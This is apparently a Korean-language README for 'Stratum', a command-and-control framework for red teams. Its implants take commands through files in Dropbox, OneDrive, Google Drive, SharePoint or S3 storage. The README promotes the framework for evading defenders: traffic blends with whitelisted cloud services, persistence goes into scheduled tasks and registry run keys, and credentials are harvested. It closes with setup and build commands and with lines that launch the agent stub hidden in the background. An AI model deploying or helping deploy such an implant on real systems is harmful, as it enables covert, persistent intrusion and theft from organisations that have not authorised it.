클라우드 데드드롭 C2 프레임워크 — RSA-4096 + AES-256-GCM, 5개 클라우드 제공자, Rust 전용 에이전트, P2P 메시, 지속성 엔진, 자격 증명 수집
주 C2가 조용해집니다. 도메인이 블랙리스트에 오릅니다. 비콘이 탐지됩니다. EDR이 프로세스를 종료합니다. 당신은 아웃됩니다.
당신에게는 두 번째 채널이 필요합니다 — 애초에 차단될 리 없었던 채널 말입니다.
만약 명령 및 제어 트래픽이 직원이 Dropbox에 파일을 동기화하는 모습과 똑같이 보인다면 어떨까요?
그것이 바로 Stratum입니다. 명령과 응답은 클라우드 스토리지 폴더 안의 평범한 파일로 오갑니다. 에이전트는 공격자 인프라에 절대 연결하지 않습니다. 관찰 가능한 유일한 트래픽은 대상의 방화벽이 이미 화이트리스트에 등록한 제공자로 향하는 HTTPS뿐입니다 — Dropbox나 OneDrive를 차단한다는 것은 그것을 사용하는 모든 직원을 차단한다는 뜻이기 때문입니다.
팀서버 없음. 공격자 소유 도메인 없음. 의심스러운 TLS 인증서 없음. 차단할 것 없음.
OPERATOR CLOUD PROVIDER TARGET
──────── ───────────── ──────
/Machine1/
WebGUI ──HTTPS──► input.txt 🔒 ◄── poll ── agent
output.txt 🔒 ──► read ──┘
heartbeat.txt (encrypted beacon)
에이전트는 설정 가능한 간격(+ 로그-정규 지터)으로 깨어나 입력 파일을 읽고, 실행하고, 응답을 암호화하여 업로드한 뒤 잠듭니다. 모든 것이 RSA-4096-OAEP + AES-256-GCM으로 종단 간 암호화됩니다. 운영자의 IP는 대상 측의 어떤 네트워크 로그에도 나타나지 않습니다.
| 제공자 | 비고 | |
|---|---|---|
| Dropbox | OAuth2 리프레시 토큰 · 비즈니스 및 개인 계정 | |
| Microsoft OneDrive | Microsoft Graph API · 개인 및 M365 계정 | |
| Google Drive | Google Drive API v3 · OAuth2 서비스 플로우 | |
| SharePoint Online | Microsoft Graph API · M365 테넌트 사이트 | |
| S3 호환 | AWS S3 · DigitalOcean Spaces · Backblaze B2 · 모든 S3 엔드포인트 |
다섯 가지 모두 동일한 전송 형식, 동일한 RSA 키 쌍, 동일한 운영자 세션을 공유합니다. 에이전트를 건드리지 않고 몇 분 만에 교전 중에 제공자를 전환할 수 있습니다. 다른 어떤 오픈소스 프레임워크도 이를 기본으로 제공하지 않습니다.
C2를 중단하려는 SOC는 팀서버 도메인이나 프론트 인프라를 차단합니다. Stratum을 중단하려는 SOC는 Dropbox, OneDrive, Google Drive, SharePoint, S3를 동시에 차단해야 합니다. 그것은 방화벽 규칙이 아니라 어떤 기업도 내리지 않을 비즈니스 결정입니다. 데드 드롭 아키텍처는 탐지를 회피하려 하지 않습니다. 방어자가 영구적으로 신뢰하기로 이미 결정한 인프라 위에서 동작합니다.
| 형식 | 플랫폼 | 의존성 |
|---|---|---|
.exe / .dll | Windows | 없음 — Rust로 컴파일된 PE (MSVC-ABI), 인터프리터 없음, 프로세스 트리에 PowerShell 없음 |
.elf | Linux | 없음 — Rust로 컴파일된 musl 정적 빌드, 모든 x86_64 Linux에서 실행 |
.bin | Linux / Windows | x64 PIC 셸코드 — 모든 외부 로더나 인젝터에 투입 가능 |
마법사가 이들 모두를 생성합니다. 프롬프트에 답하면 컴파일, 암호화, 패키징까지 수행합니다. 컴파일러 플래그도, 환경 변수도, 수동 키 관리도 필요 없습니다.
| 모드 | 작동 방식 | 적합한 용도 |
|---|---|---|
| staged-enc | 대상에 최소 스텁. 첫 실행 시: 클라우드에서 일회용 부트스트랩 키를 가져와 메모리에서 전체 에이전트를 복호화하고, 클라우드에서 키를 삭제. 페이로드는 평문으로 디스크에 닿지 않음. | 표준 교전 — 가장 작은 초기 아티팩트, 전달 시 키 파괴 |
| stageless-enc | 전체 에이전트가 단일 전달 파일에 내장되고, 스텁에 내장된 키로 암호화됨. 전달 후 클라우드 키 가져오기 불필요. | 에어갭 또는 제한된 네트워크 — 단일 자체 포함 파일 |
| stageless-plain | 에이전트가 평문. 명령과 응답은 전송 중 완전히 암호화된 상태 유지. | 랩 및 통제된 환경 |
모든 모드는 동일한 실행 후 동작을 공유합니다: 스텁이 HW 지문이 찍힌 암호화된 블롭을 로컬에 캐시하여 이후 실행 시 클라우드에 접근하지 않고 디스크에서 로드합니다.
단일 레지스트리 키나 cron 항목을 건드리기 전에 /persist probe를 실행하십시오. 에이전트는 현재 권한 수준에서 사용 가능한 모든 기법을 확인하고 실행 가능성 보고서를 반환합니다. 비파괴적 — 아티팩트를 남기지 않습니다.
/persist probe
✓ schtask-logon — feasible (SYSTEM)
✓ registry-run — feasible
✗ schtask-boot — requires elevation
✓ startup-folder — feasible
...
작동하는 것을 선택하고, 설치하고, 완료되면 깔끔하게 제거하세요. WebGUI는 세션별로 설치된 모든 기법을 추적합니다. /kill은 지속성, 바이너리, 클라우드 아티팩트 등 모든 것을 단 하나의 명령으로 제거합니다.
종료 날짜, 유지보수 시간대, 로그 정규 지터, 일회성 부트스트랩 키 — 모두 마법사에서 한 번 구성되면 에이전트에 영구적으로 컴파일됩니다. 참여 기간 동안 관리할 것도, 마지막에 정리를 잊을 것도 없습니다.
Stratum은 Cobalt Strike, Sliver, Havoc의 대체재가 아닙니다. 그것들 아래에 있는 계층입니다.
Day 1: deploy Stratum alongside your primary C2
Day 4: primary beacon gets flagged, process killed
Day 4: open Stratum session, assess what happened
Day 4: re-introduce primary C2 via Stratum shell
Day 5: back to full access
기본 C2는 침투 후 작업(post-exploitation)을 처리합니다. Stratum은 생존을 처리합니다. 탐지를 피하려고 애쓴 적이 없기 때문에 결코 탐지되지 않을 수밖에 없었던 채널입니다. 그저 Dropbox처럼 보일 뿐입니다.
이는 2025–2026년에 문서화된 위협 행위자들이 실제 환경에서 사용한 것과 동일한 패러다임입니다: TukTuk(Dropbox + Arweave 데드 드롭), NarwhalRAT/APT37(pCloud), COBALT MIRAGE/Drokbk(GitHub). Stratum은 동일한 아키텍처를 일회성 임플란트가 아닌 제대로 된 프레임워크로서 레드 팀 측에 제공합니다.
git clone https://github.com/daniomass/stratum-c2.git
cd stratum-c2
./install.sh --server
컴파일된 에이전트(.exe, .elf, .dll, .bin, 네이티브 Rust)는 Stratum의 핵심 기능입니다. 마법사는 사용 가능한 타깃을 감지하여 사용하며, 빌드할 수 없는 것만 건너뜁니다.
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source "$HOME/.cargo/env"
# Windows PE / DLL
rustup target add x86_64-pc-windows-gnu && sudo apt install mingw-w64
# Linux musl-static ELF
rustup target add x86_64-unknown-linux-musl && sudo apt install musl-tools
# Flat x64 shellcode
rustup target add x86_64-unknown-none && sudo apt install lld
python3 stratum-server.py
https://<host>:<port>를 열고 로그인한 뒤 Deploy를 클릭합니다. 마법사가 프로바이더 자격 증명, 에이전트 형식, 배포 모드, 지속성 아이덴티티, 가드레일(종료 날짜, 시간 창, 지터)을 단계별로 안내합니다. 마지막에 바로 실행 가능한 아티팩트를 제공합니다. 전체 설정 세부 사항은 위키(docs/wiki.html)에 있습니다.
# Linux — background, no terminal
chmod +x stub.elf && nohup ./stub.elf &>/dev/null &
# Windows — hidden window (cmd or PowerShell)
start /b stub.exe
세션이 첫 비콘 시 WebGUI에 자동으로 나타납니다.
다중 운영자, 실시간, 브라우저 기반. 모든 운영자는 WebSocket을 통해 동일한 세션을 실시간으로 확인합니다.